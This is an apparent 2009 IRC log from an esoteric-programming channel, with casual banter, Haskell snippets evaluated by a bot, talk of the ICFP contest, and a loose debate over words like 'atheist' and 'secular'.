03:35:22 <pikhq> GregorR: Clearly, you mean pusÿ.
03:36:11 <augur> no he means pussy.
03:36:11 <pikhq> Also, holy fuck. What the fuck?
03:36:48 <GregorR> You haven't seen that? lawl, I use that picture whenever I want to induce vomiting in unsuspecting others :P
03:37:06 <augur> "pussy" is the appropriate spelling for the adjective derived from "pus"
03:37:20 <GregorR> augur: Yeah, but there MIGHT be an ambiguity issue.
03:37:44 <pikhq> I thought I had seen everything vomit-inducing on the Internet, except of course for Two Girls One Cup.
03:37:47 <pikhq> I stand corrected.
03:37:54 <augur> GregorR: i know :3
03:38:11 <GregorR> pikhq: That's just my personal stash of vomit-inducitude :P
03:38:31 <pikhq> What, is that your foot?
03:39:24 <GregorR> My foot is quite foot-like now.
03:39:29 <pikhq> What, you lost your foot?
04:02:08 -!- oerjan has quit ("Good night").
04:42:16 -!- comex has quit ("leaving").
04:44:17 -!- comex has joined.
04:44:42 -!- fungebob has quit ("ChatZilla 0.9.85 [Firefox 3.0.11/2009060215]").
04:47:36 <Warrigal> So chromates.jpg there is a picture of GregorR's foot reacting allergically to chrome?
04:48:15 <GregorR> Specifically, chromium-tanned leather.
04:49:03 * Warrigal types the URL into Google Image Search.
04:49:22 <GregorR> I don't think there are any links to it :P
04:50:25 <Warrigal> I've seen spaghetti sauce that looked like that.
04:50:40 <Warrigal> That big toenail makes me kind of uncomfortable, though.
04:50:44 <GregorR> ... spaghetti sauce is not made of human blood :P
04:51:04 <GregorR> My toenails got hard and really difficult to cut.
04:54:48 <Warrigal> There are parts that look like spaghetti sauce, parts that look like sausage, parts that look like molting skin, and parts that just look like skin.
04:55:19 <Warrigal> There are also parts that look like toenail, hair, fabric, and stone.
04:56:25 <GregorR> Oh, the tile. No, those would be tiles :P
04:57:26 <GregorR> Which I suppose is closer to linoleum than stone *shrugs*
04:57:32 <GregorR> Non-trademarked generic plastic tiling.
04:57:55 <GregorR> Well, something soft and plasticine anyway *shrugs*
04:58:31 <GregorR> Idonno, they're tiles, I'm not a tile expert X-D
04:58:41 <Warrigal> We have stone tiles! Or maybe they're actually plastic as well.
04:58:59 <GregorR> Stone tiles certainly exist, but I'm equally certain that the tiles in that picture are /not/ stone.
04:59:16 <comex> my eyes react allergically to chrome
04:59:24 * Warrigal compares the rough surface of his tiles to the rough surface of his imitation stone countertops and the smooth surface of his marble countertop.
04:59:37 <GregorR> comex: ... how does chrome end up in one's eyes?
05:00:09 <comex> GregorR: nevermind, it's just a horrible joke I'm making because it's 12am
05:00:11 <Warrigal> The tiles were the coldest, followed by the imitation, followed by the marble.
05:00:34 * Warrigal indicts comex into the ET Club.
05:00:47 <pikhq> GregorR: I wonder if there's chrome in any eyedrops.
05:01:00 <GregorR> pikhq: Uhhh ... I'm gonna go with no.
05:01:17 <pikhq> Rather, I'd certainly hope not for your sake.
05:01:28 <pikhq> Chrome allergies in the eyes? *Ow*.
05:01:44 <Warrigal> I wonder if any living matter naturally contains large amounts of chrome.
05:02:28 <GregorR> Red meat is comparable high in chromium. All meat contains chromium, and it's less common in (most) plant life.
05:02:38 <GregorR> But none of that is in enough of a proportion to elicit a reaction in me.
05:03:11 <GregorR> When people ask me if I use Google Chrome, I just say "No, I'm allergic" and watch them be confused.
05:03:37 -!- immibis has joined.
05:04:20 <GregorR> s/comparable/comparably/ up there ...
05:14:04 <Gracenotes> so. anyone program in any esoteric languages lately.
05:14:38 <GregorR> To do such a thing would be madness.
05:14:51 <GregorR> As would be giving oneself a nick with "Gr" as the first two characters.
05:15:34 <pikhq> Or, in fact, having a letter `elem`['A'..'Z'] in the nick.
05:20:50 <immibis> thats only uppercase letters...
05:21:23 -!- Gracenotes has changed nick to gracenotes.
05:21:23 <pikhq> That was intentional.
05:21:25 <immibis> Or having a letter [^imbs]
05:21:37 <pikhq> That's not a list.
05:21:43 <pikhq> That's a syntax error.
05:23:11 <lambdabot> "\NUL\SOH\STX\ETX\EOT\ENQ\ACK\a\b\t\n\v\f\r\SO\SI\DLE\DC1\DC2\DC3\DC4\NAK\S...
05:23:23 <pikhq> The list of Unicode characters. :)
05:24:26 <pikhq> > fmap ord ['\0'..]
05:24:27 <lambdabot> [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,...
05:26:44 <lambdabot> "\177\178\179\180\181\182\183\184\185\186\187\188\189\190\191\192\193\194\1...
05:27:10 <lambdabot> "\777\778\779\780\781\782\783\784\785\786\787\788\789\790\791\792\793\794\7...
05:27:39 <pikhq> @hoogle Int -> Char
05:27:39 <lambdabot> Data.Char intToDigit :: Int -> Char
05:27:39 <lambdabot> Data.ByteString.Char8 index :: ByteString -> Int -> Char
05:27:58 <pikhq> > fmap chr $ (+) <$> (fmap ord ['\0'..]) <*> cycle [1]
05:28:00 <lambdabot> "\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\SOH\S...
05:28:11 <pikhq> gracenotes: The series is over now.
05:29:02 <pikhq> That's bad fanfiction.
05:29:57 <immibis> somewhere in the galaxy most likely
05:30:49 <pikhq> > fromZipList $ fmap chr $ (+) <$> (fmap ord ['\0'..]) <*> cycle [1]
05:31:07 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
05:31:11 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
05:31:16 <pikhq> > getZipList $ zipList (fmap chr $ (+) <$> (fmap ord ['\0'..])) <*> zipList $ cycle [1]
05:31:17 <gracenotes> the annoying constructoring-and-unconstructoring
05:31:17 <lambdabot> Not in scope: `zipList'Not in scope: `zipList'
05:31:35 <pikhq> > getZipList $ ZipList (fmap chr $ (+) <$> (fmap ord ['\0'..])) <*> ZipList $ cycle [1]
05:31:36 <lambdabot> Couldn't match expected type `GHC.Types.Int'
05:31:47 <pikhq> I is doing something wrong.
05:32:22 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
05:32:31 <pikhq> > fmap chr $ fmap (+1) $ fmap ord ['\0'..]
05:32:32 <lambdabot> "\SOH\STX\ETX\EOT\ENQ\ACK\a\b\t\n\v\f\r\SO\SI\DLE\DC1\DC2\DC3\DC4\NAK\SYN\E...
05:32:46 <gracenotes> your expression is not majuscule enough!
05:32:56 <pikhq> ... Why I was trying to do that is beyond me.
05:33:19 <pikhq> > fmap . fmap . fmap chr (+1) ord ['\0'..]
05:33:20 <lambdabot> Couldn't match expected type `t -> a -> a1 -> b'
05:33:33 <pikhq> Guess that was wrong, wrong, wrong, and more wrong. Anyways.
05:33:47 <pikhq> Oh, already pointfree.
05:33:54 <gracenotes> *FMAP* *FMAP* *FMAP* *FMAP* *FMAP* *FMAP*
05:33:55 <lambdabot> Language.Haskell.TH tupleDataName :: Int -> Name
05:33:55 <lambdabot> Language.Haskell.TH tupleTypeName :: Int -> Name
05:33:55 <lambdabot> Language.Haskell.TH.Syntax tupleDataName :: Int -> Name
05:33:55 <pikhq> immibis: atoi? Really?
05:34:22 <lambdabot> hoogle <expr>. Haskell API Search for either names, or types.
05:34:48 <pikhq> @hoogle Num -> String
05:34:48 <lambdabot> Distribution.Text display :: Text a => a -> String
05:34:48 <lambdabot> Prelude show :: Show a => a -> String
05:34:52 <gracenotes> a -> String is "show". String -> a, is read
05:35:00 <pikhq> Oh, right. It was show. *Duh*.
05:35:46 <pikhq> Allow me to break your brain here.
05:36:05 <pikhq> > fibo = 0:1:zipWith (+) fibs (tail fibs)
05:36:06 <lambdabot> <no location info>: parse error on input `='
05:36:17 <pikhq> > let fibs = 0:1:zipWith (+) fibs (tail fibs) in fibs
05:36:18 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
05:36:31 <gracenotes> okay... still can't find my CD... I'll have to download again
05:36:34 <pikhq> All the fibonacci sequence.
05:36:39 <pikhq> Whole. Freaking. Thing. :)
05:37:46 <gracenotes> here's a variant of the above that's even more magical
05:37:55 <gracenotes> > fix $ (0:) . (1:) . (=<< [1..]) . ((<*>) . ((return .) . (+) <$>) <*> (. subtract 1)) . (!!)
05:37:56 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
05:38:28 <immibis> > let numbers = 1:zipWidth (+1) (tail numbers)
05:38:29 <lambdabot> not an expression: `let numbers = 1:zipWidth (+1) (tail numbers)'
05:38:38 <immibis> > let numbers = 1:zipWidth (+1) (tail numbers) in numbers
05:38:47 <immibis> > let numbers = 1:zipWith (+1) (tail numbers) in numbers
05:38:49 <lambdabot> Couldn't match expected type `[t]'
05:38:55 <immibis> > let numbers = 1:zipWith (+) 1 (tail numbers) in numbers
05:38:57 <lambdabot> arising from the literal `1' at <inter...
05:39:03 <immibis> > let numbers = 1:zipWith (+) (1) (tail numbers) in numbers
05:39:05 <lambdabot> arising from the literal `1' at <inter...
05:39:20 <gracenotes> maybe you don't want to use zipWith at all..
05:39:39 <immibis> > let numbers = 1:(+) (1) (tail numbers) in numbers
05:39:41 <lambdabot> arising from a use of `GHC.Num.+' at <...
05:39:53 <immibis> > let numbers = 1:+ (1) (tail numbers) in numbers
05:39:55 <lambdabot> Couldn't match expected type `[a]'
05:40:04 <immibis> > let numbers = 1:+ 1 (tail numbers) in numbers
05:40:06 <lambdabot> Couldn't match expected type `[a]'
05:40:09 <gracenotes> > let numbers = 1:map (+1) numbers in numbers -- this might work
05:40:11 <lambdabot> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28...
05:40:22 <immibis> i know nothing about pascal
05:40:51 <gracenotes> you seem to be picking up its syntax well
05:40:52 <GregorR> That ... made almost /too/ much sense.
05:40:58 <Warrigal> It's pronounced HAS-kəll, right?
05:41:15 <GregorR> <immibis> i know nothing about pascal <immibis> s/pascal/haskell/
05:41:33 <immibis> > let numbers = 1:map (1-) numbers in numbers
05:41:35 <lambdabot> [1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,...
05:41:41 <gracenotes> yeah, I brought up Haskell to my C++ teacher, he thought I was talking about Haskell
05:41:41 <immibis> > let numbers = 1:2:9:7map (1-) numbers in numbers
05:41:45 <immibis> > let numbers = 1:2:9:7:map (1-) numbers in numbers
05:41:46 <lambdabot> [1,2,9,7,0,-1,-8,-6,1,2,9,7,0,-1,-8,-6,1,2,9,7,0,-1,-8,-6,1,2,9,7,0,-1,-8,-...
05:42:50 <immibis> > let numbers = 1:map (1-) numbers in numbers; show numbers
05:42:51 <lambdabot> <no location info>: parse error on input `;'
05:42:56 <immibis> > let numbers = 1:map (1-) numbers in numbers: show numbers
05:42:57 <lambdabot> Couldn't match expected type `[t]'
05:43:02 <immibis> > let numbers = 1:map (1-) numbers in numbers show numbers
05:43:04 <lambdabot> Couldn't match expected type `(a -> GHC.Base.String) -> [t1] -> t'
05:43:11 <immibis> > let numbers = 1:map (1-) numbers in numbers > show numbers
05:43:12 <lambdabot> No instance for (GHC.Num.Num GHC.Types.Char)
05:43:25 <immibis> ok what separates statements?
05:43:46 <Warrigal> immibis: what are you trying to do?
05:43:51 <Warrigal> > let numbers = 1:map (1-) numbers in numbers
05:43:53 <lambdabot> [1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,...
05:43:57 <Warrigal> I think that's what you're trying to do.
05:44:04 <immibis> idk what i am trying to od
05:44:10 <immibis> > let numbers = 0:1:2:3:4:5:6
05:44:12 <lambdabot> not an expression: `let numbers = 0:1:2:3:4:5:6'
05:44:15 <Warrigal> Then stop trying to do it, because you won't succeed.
05:44:23 <Warrigal> @let numbers = 0:1:2:3:4:5:6:[]
05:44:28 <immibis> let numbers = 0:1:2:3:4:5:6:map (0*) numbers in numbers
05:44:37 <immibis> > let numbers = 0:1:2:3:4:5:6:map (0*) numbers in numbers
05:44:38 <lambdabot> [0,1,2,3,4,5,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...
05:44:47 <immibis> > let numbers = 0:1:2:3:4:5:6:map (2*) numbers in numbers
05:44:48 <lambdabot> [0,1,2,3,4,5,6,0,2,4,6,8,10,12,0,4,8,12,16,20,24,0,8,16,24,32,40,48,0,16,32...
05:45:24 <immibis> > let numbers = 0:1:2:3:4:5:6:zipWith (*) numbers (tail numbers) in numbers
05:45:26 <lambdabot> [0,1,2,3,4,5,6,0,2,6,12,20,30,0,0,12,72,240,600,0,0,0,864,17280,144000,0,0,...
05:46:09 <immibis> > let numbers = 2:1:zipWith (/) numbers (tail numbers) in numbers
05:46:10 <lambdabot> [2.0,1.0,2.0,0.5,4.0,0.125,32.0,3.90625e-3,8192.0,4.76837158203125e-7,1.717...
05:46:16 <immibis> > let numbers = 2:1:zipWith (/) numbers (head numbers) in numbers
05:46:17 <lambdabot> Occurs check: cannot construct the infinite type: a = [a]
05:46:39 <immibis> > let numbers = 2:1:zipWith (+) numbers (1) in numbers
05:46:41 <lambdabot> arising from the literal `1' at <inter...
05:46:50 <immibis> > let numbers = 2:1:zipWith (+) numbers (numbers[]2) in numbers
05:46:52 <lambdabot> Couldn't match expected type `[a1] -> t -> [a]'
05:46:53 <immibis> > let numbers = 2:1:zipWith (+) numbers (numbers[2]) in numbers
05:46:55 <lambdabot> Couldn't match expected type `[t] -> [a]'
05:47:34 <Warrigal> > let mex = head . foldr delete [0..] in map mex [[],[0],[0,1],[1],[0,1,2],[0,2]]
05:48:19 <Warrigal> @let mex = head . foldr delete [0..]
05:48:46 <immibis> @let numbers = numbers + 1
05:48:47 <lambdabot> Multiple declarations of `L.numbers'
05:49:08 <lambdabot> mueval-core: Prelude.read: no parse
05:49:22 <gracenotes> SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE
05:49:54 <lambdabot> [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...
05:50:14 <lambdabot> "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz...
05:51:13 <immibis> > let systemfailure = "SYSTEM FAILURE ...":systemfailure
05:51:15 <lambdabot> not an expression: `let systemfailure = "SYSTEM FAILURE ...":systemfailure'
05:51:26 <gracenotes> try not to use @let for onetime things
05:51:52 * GregorR fekks around with lambdabot evilly.
05:51:56 <immibis> > let systemfailure = 'S':'Y':'S':'T':'E':'M':' ':'F':'A':'I':'L':'U':'R':'E':' ':'.':'.':'.':' ':systemfailure
05:51:58 <lambdabot> not an expression: `let systemfailure = 'S':'Y':'S':'T':'E':'M':' ':'F':'A'...
05:52:16 <immibis> > let systemfailure = 'S':'Y':'S':'T':'E':'M':' ':'F':'A':'I':'L':'U':'R':'E':' ':'.':'.':'.':' ':systemfailure in systemfailure
05:52:18 <lambdabot> "SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE .....
05:52:20 <GregorR> > let systemfailure = 'S':'Y':'S':'T':'E':'M':' ':'F':'A':'I':'L':'U':'R':'E':' ':'.':'.':'.':' ':systemfailure in systemfailure
05:52:22 <lambdabot> "SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE ... SYSTEM FAILURE .....
05:52:30 <immibis> is there a better way to write strings?
05:53:57 <GregorR> > putStr "Add a type signature"
05:54:17 <GregorR> > unsafePerformIO . putStr "Add a type signature"
05:54:25 <GregorR> I forget what that's named :P
05:54:39 <GregorR> Oh, or lambdabot has I/O blocked for SOME reason :P
05:54:51 <lambdabot> <no location info>: parse error on input `import'
05:54:56 <gracenotes> !haskell main = putStrLn "Add a type signature"
05:55:05 <lambdabot> <no location info>: parse error on input `import'
05:55:24 <Warrigal> > let shuttle fwd rev n = x : shuttle (fwd++[x]) (x:rev) (n+1) where x = mex (take (div n 2) (zipWith xor fwd rev)) in shuttle [] [] 0
05:55:35 <immibis> > (openFile "hello" WriteMode)
05:55:36 <lambdabot> Not in scope: `openFile'Not in scope: data constructor `WriteMode'
05:55:45 <Warrigal> > let mex = head . foldr delete [0..]; shuttle fwd rev n = x : shuttle (fwd++[x]) (x:rev) (n+1) where x = mex (take (div n 2) (zipWith xor fwd rev)) in shuttle [] [] 0
05:55:54 <Warrigal> > let mex = head . foldr delete [0..]; shuttle fwd rev n = x : shuttle (fwd++[x]) (x:rev) (n+1) where x = mex (take (div n 2) (zipWith xor fwd rev)) in shuttle [] [] 0 :: [Integer]
05:55:55 <lambdabot> [0,0,1,0,2,1,0,2,1,0,2,1,3,2,1,3,2,4,3,0,4,3,0,4,3,0,4,1,2,3,1,2,4,1,2,4,1,...
05:57:10 <Warrigal> Now to figure out how to write that without parentheses!
05:57:18 <Warrigal> @pl let mex = head . foldr delete [0..]; shuttle fwd rev n = x : shuttle (fwd++[x]) (x:rev) (n+1) where x = mex (take (div n 2) (zipWith xor fwd rev)) in shuttle [] [] 0 :: [Integer]
05:57:56 <Warrigal> @pl let shuttle fwd rev n = x : shuttle (fwd++[x]) (x:rev) (n+1) where x = head . foldr delete [0..] $ (take (div n 2) (zipWith xor fwd rev)) in shuttle [] [] 0 :: [Integer]
05:57:57 <lambdabot> expecting variable, "(", operator, ":", "++", "<+>", ";" or "in"
05:58:49 <Warrigal> > fix (\shuttle fwd rev n -> (\x -> x : shuttle (fwd++[x]) (x:rev) (n+1)) (head . foldr delete [0..] $ (take (div n 2) (zipWith xor fwd rev)))) [] [] 0 :: [Integer]
05:58:51 <lambdabot> [0,0,1,0,2,1,0,2,1,0,2,1,3,2,1,3,2,4,3,0,4,3,0,4,3,0,4,1,2,3,1,2,4,1,2,4,1,...
05:58:59 <Warrigal> @pl fix (\shuttle fwd rev n -> (\x -> x : shuttle (fwd++[x]) (x:rev) (n+1)) (head . foldr delete [0..] $ (take (div n 2) (zipWith xor fwd rev)))) [] [] 0
05:59:03 <lambdabot> fix (flip ap (((((head . foldr delete [0..]) .) . flip (take . flip div 2)) .) . zipWith xor) . ((ap . (ap .) . ((ap (:) .) .)) .) . flip flip (1 +) . (flip .) . (((.) .) .) . ((flip .) .) . flip
05:59:03 <lambdabot> flip (flip (:)) . ((.) .) . (ap .) . (. ((. return) . (++))) . (.)) [] [] 0
05:59:03 <lambdabot> optimization suspended, use @pl-resume to continue.
05:59:12 <lambdabot> fix ((`ap` (((((head . foldr delete [0..]) .) . flip (take . flip div 2)) .) . zipWith xor)) . (liftM2 (liftM2 (ap (:))) .) . flip flip (1 +) . ((flip . (((.) . flip) .)) .) . flip flip (flip (:)) .
05:59:12 <lambdabot> (((.) . ap) .) . (. ((. return) . (++))) . (.)) [] [] 0
05:59:19 <pikhq> It's a veritable flipbook.
05:59:41 <lambdabot> pl-resume. Resume a suspended pointless transformation.
05:59:43 <Warrigal> I think I prefer the original...
05:59:45 <lambdabot> pointless <expr>. Play with pointfree code.
06:00:40 <Warrigal> > map ((+1) . (*3)) [1,2,3,4,5]
06:06:06 <pikhq> Are you familiar with function composition?
06:07:02 <pikhq> > map ((+1) . (*3)) [1..]
06:07:03 <lambdabot> [4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,7...
06:07:15 <pikhq> Screw finite lists.
06:07:24 <pikhq> If you really want 5 elements of that, take 5.
06:15:21 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
06:16:31 <lambdabot> [1.0,1.0715086071862674e301,Infinity,Infinity,Infinity,Infinity,Infinity,In...
06:17:11 <lambdabot> [1.0,1.0000693171203765,1.0001098672638327,1.0001386390456164,1.00016095674...
06:17:37 <immibis> >map (**(1/(10*1000))) [1..]
06:17:42 <immibis> > map (**(1/(10*1000))) [1..]
06:17:43 <lambdabot> [1.0,1.0000693171203765,1.0001098672638327,1.0001386390456164,1.00016095674...
06:17:49 <immibis> > map (**(1/(10**1000))) [1..]
06:17:51 <lambdabot> [1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1....
06:18:02 <immibis> > map (**(1/(10**1000))) [0..]
06:18:04 <lambdabot> [1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1....
06:18:17 <immibis> > 0**0.0000000000000000000000000000001
06:18:26 <lambdabot> Not in scope: data constructor `INF'Not in scope: `.#'
06:40:24 -!- kar8nga has joined.
07:02:11 -!- immibis has quit ("If you think nobody cares, try missing a few payments").
07:02:26 -!- pikhq has quit (Remote closed the connection).
07:08:17 -!- pikhq has joined.
07:08:19 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
07:08:51 -!- kar8nga has quit (Remote closed the connection).
07:13:31 -!- pikhq has joined.
07:16:51 -!- kar8nga has joined.
07:31:45 -!- gracenotes has changed nick to Gracenotes.
07:34:13 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
07:41:43 -!- MigoMipo has joined.
07:47:26 -!- tombom has joined.
07:50:22 -!- tombom_ has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:04:38 -!- tombom__ has joined.
08:14:24 -!- tombom has quit (Read error: 110 (Connection timed out)).
08:14:25 -!- tombom__ has changed nick to tombom.
08:14:25 -!- tombom_ has quit (Read error: 110 (Connection timed out)).
08:22:31 -!- amca has joined.
08:53:19 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
08:56:56 -!- evenant has quit (Read error: 104 (Connection reset by peer)).
08:57:09 -!- evenant has joined.
09:24:31 -!- MigoMipo has joined.
09:53:13 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
10:22:51 -!- MigoMipo has quit (Nick collision from services.).
10:22:52 -!- MigoMipo_ has joined.
10:50:18 -!- MigoMipo_ has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
10:50:29 -!- MigoMipo has joined.
10:52:37 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
11:16:02 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
11:28:19 -!- MigoMipo has joined.
11:30:44 -!- KingOfKarlsruhe has joined.
12:06:52 -!- sebbu has quit (Read error: 110 (Connection timed out)).
12:26:43 -!- FireFly has joined.
12:34:09 -!- upyr[emacs] has joined.
12:38:05 -!- BeholdMyGlory has joined.
13:40:43 -!- sebbu has joined.
14:11:24 -!- BeholdMyGlory has quit (Remote closed the connection).
14:16:16 -!- BeholdMyGlory has joined.
14:35:14 -!- MigoMipo has quit (Read error: 60 (Operation timed out)).
15:04:47 -!- augur has quit (Read error: 110 (Connection timed out)).
15:13:21 -!- labo has joined.
15:54:05 -!- ais523 has joined.
15:59:58 -!- nooga has joined.
16:00:38 -!- augur has joined.
16:00:38 <nooga> uh yea! you know, i'm dead, i'm dead, and you know it (dead dead, really, really dead) !
16:01:18 -!- ehird_ has joined.
16:02:21 <ehird_> oh. my bouncer is back.
16:02:39 -!- ehird_ has quit (Client Quit).
16:02:39 <ais523> assuming ehird is your bouncer
16:02:44 -!- ehird has changed nick to ehird_.
16:03:55 <nooga> dead dead, really, really dead
16:04:57 -!- ehird_ has changed nick to ehird.
16:05:15 <pikhq> Becauſe þou art fooliſh indeed.
16:07:29 <ais523> probably you connected to your bouncer with the nick ehird_
16:07:34 <ais523> and the bouncer changed its own name to match
16:11:20 <nooga> who will be the new king of pop since the previous one is dead?
16:14:32 <ehird> 04:41 gracenotes: yeah, I brought up Haskell to my C++ teacher, he thought I was talking about Haskell
16:18:03 <nooga> pikhq: fair enough
16:18:15 <nooga> ehird: 04:41 gracenotes: yeah, I brought up Haskell to my C++ teacher, he thought I was talking about Haskell < what?
16:18:30 <ehird> he means what he said!
16:27:41 <ehird> > (consent may be implicit, but only
16:27:41 <ehird> > if the implication is caused explicitly.)
16:27:43 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
16:27:43 <lambdabot> <no location info>: parse error on input `)'
16:44:03 <Slereah_> Are turing tarpits full of algebraic slime?
16:44:20 <Slereah_> And the fossilised remains of combinatory birds
16:44:46 <nooga> and abstract cucumbers
16:47:41 <Slereah_> http://www.hcn.zaq.ne.jp/cabic508/rsf/mq.swf
16:52:00 <nooga> dead dead, really, really dead
16:55:50 <ehird> nooga is having issues with this.
16:57:05 <nooga> obvious remake from "i'm bad"
16:57:19 -!- GregorR-L has joined.
17:03:46 <ehird> ais523: are you doing icfp this year?
17:04:08 <ais523> ehird: ooh, I was planning ot
17:04:15 <ais523> didn't realise it was so close to the start
17:04:58 <ehird> http://icfpcontest.org/countdown.php
17:05:09 * ais523 wonders why it starts at 19:00:16 our time
17:05:13 <ais523> it's the seconds field that confuses me
17:05:26 <ehird> Probably related to the problem.
17:08:44 <ehird> "Infinite Compression Explained" —FrozenVoid, /prog/
17:11:09 <fizzie> ais523: It might be that their box is 16 seconds unsynchronized. The countdown is done so that the .php page generates a "countdown(nnnn);" script block, where 'nnnn' is the starting value (in seconds) of the counter.
17:11:58 <ehird> The contest will run from Friday 26 to Monday 29 June, 2009. This web page will contain the problem statement, and other instructions.
17:11:59 <ehird> The contest will start at 13:00:16, CDT, GMT-5, and run for 72 hours. There will also be a lightning round, which will last 24 hours.
17:12:02 <fizzie> (And not the starting time of the contest.)
17:12:12 <ais523> the contest is declared to start at :16
17:12:13 <fizzie> Oh. Well, that's the fun, then.
17:12:22 <ais523> anyway, I hope that this year's task is one that can plausibly be done in INTERCAL
17:12:35 <ais523> and I'd probably happily turn down a chance to win for a chance to mess about with esolangs
17:12:41 <ehird> nothing can be done in three days in intercal
17:12:54 <ehird> (yes, that's how long a nop takes to write)
17:13:00 <ehird> (or run, hurr hurr)
17:13:06 <ais523> continuation.i was done in less than 24 hours
17:15:48 -!- pikhq_ has joined.
17:15:49 -!- pikhq has quit (Nick collision from services.).
17:16:08 -!- pikhq_ has changed nick to pikhq.
17:24:54 <nooga> HODMSPKRLAJDNKUTRAM
17:25:53 -!- KingOfKarlsruhe has quit (Remote closed the connection).
17:26:32 -!- pikhq_ has joined.
17:27:53 <pikhq_> So, my Internet went all "LA smoke signal" for a bit there.
17:31:46 <ehird> pikhq_: Satellite internet sure must tax TCP error correction.
17:33:58 <ehird> I wonder if you can DDoS TCP by keeping claiming the packet was invalid.
17:35:31 -!- pikhq has quit (Read error: 110 (Connection timed out)).
17:48:59 -!- pikhq_ has changed nick to pikhq.
17:49:17 <pikhq> ehird: Not much of a DDoS.
17:49:42 <ais523> ehird: it would just be a standard DOS
17:49:49 <ais523> but AFAICT, that would just mess up the connection from you to them
17:50:13 <pikhq> It'd be more like forcing them to DOS you.
17:55:51 -!- MigoMipo has joined.
18:00:06 <ehird> haha, apparently steve jobs is a practicing buddhist
18:00:11 <ehird> i guess modulo the whole material possessions bit
18:02:08 <pikhq> It's the Western adaptation of Buddhism. Y'know, with the non-theism, but without the actual need to believe anything.
18:03:16 <ehird> I'm always quite annoyed when atheists give buddhists some slack while rightfully criticizing other religions their culture is closer to; it seems they want to block out all the non-secular, non-humanitarian parts of buddhism to paint it as some kind of "religion done right".
18:04:07 <GregorR-L> Steve Jobs is a practicing lunatic.
18:04:21 <ehird> He's obnoxious, but how's he a lunatic?
18:04:47 <pikhq> "Atheist" is a crappy term.
18:04:57 <pikhq> Buddhism is an atheistic religion. (generally)
18:05:10 <ehird> Yeah, "atheist" is inaccurate.
18:05:20 <ehird> Nobody says "oh, you're a religious atheist".
18:05:23 <ehird> But areligious sounds stuuuuuuuuuupid.
18:05:26 <GregorR-L> <amazing-ignorance>They worship Buddha, that's their god!</amazing-ignorance>
18:05:58 <pikhq> Man, people who fail to realise there's more than one Buddha. :P
18:06:02 <ehird> Buddhists are so calm and loving to everyone and everything. That's why they have Naraka!
18:07:05 <pikhq> ... Maybe Japanese Buddhism. Which considers the Buddha a kami.
18:07:35 -!- comex has quit (hubbard.freenode.net irc.freenode.net).
18:07:35 -!- ehird has quit (hubbard.freenode.net irc.freenode.net).
18:07:41 <pikhq> (also, man, "kami" as translated into English really misses the point.)
18:07:42 -!- comex_ has joined.
18:07:45 -!- ehird has joined.
18:09:48 <amca> How's "secular" instead of "atheist"?
18:10:37 <GregorR-L> The problem with the word 'atheist' is only that its ambiguous use has muddied the term (same is true of 'agnostic')
18:11:50 <amca> "Sometimes I think Im agnostic, but other times Im not so sure" ;)
18:12:09 <ehird> Secular is ... even more inaccurate.
18:12:36 <pikhq> "Secular". "Of the world"?
18:13:13 * amca thought "secular" means "non-spiritual"
18:13:30 <GregorR-L> "Agnostic" does not mean "Well, Jesus /might/ be the messiah" :P
18:14:29 <ehird> GregorR-L: Oh, but I have seen people say it does.
18:14:41 <ehird> There are people who are seriously agnostic about, say, God, but not in the same way about Russell's Teapot.
18:14:50 <ehird> Their minds are like unto useless mush.
18:16:20 <pikhq> amca: Nope. Adjective form of Latin for "world".
18:16:39 <nooga> http://izismile.com/2009/06/26/the_victims_of_the_world_wide_web_42_photos.html
18:16:44 <pikhq> Gets misused to mean "not religious".
18:16:56 <ehird> pikhq: Okay, seriously, man, that's tenuous.
18:17:05 <ehird> We're not fucking speaking in Latin.
18:17:25 <ehird> We're speaking in English and the hoi polloi have assigned a meaning to the word secular as used in English and therefore that is what it means.
18:18:08 <pikhq> No, we're speaking the unholy amalgamate of German, Celtic, Latin, and French, all in a pretty Anglo-Frisian wrapper.
18:18:39 <ehird> pikhq: Also known as "English".
18:26:30 <ehird> GnuPG needs an API.
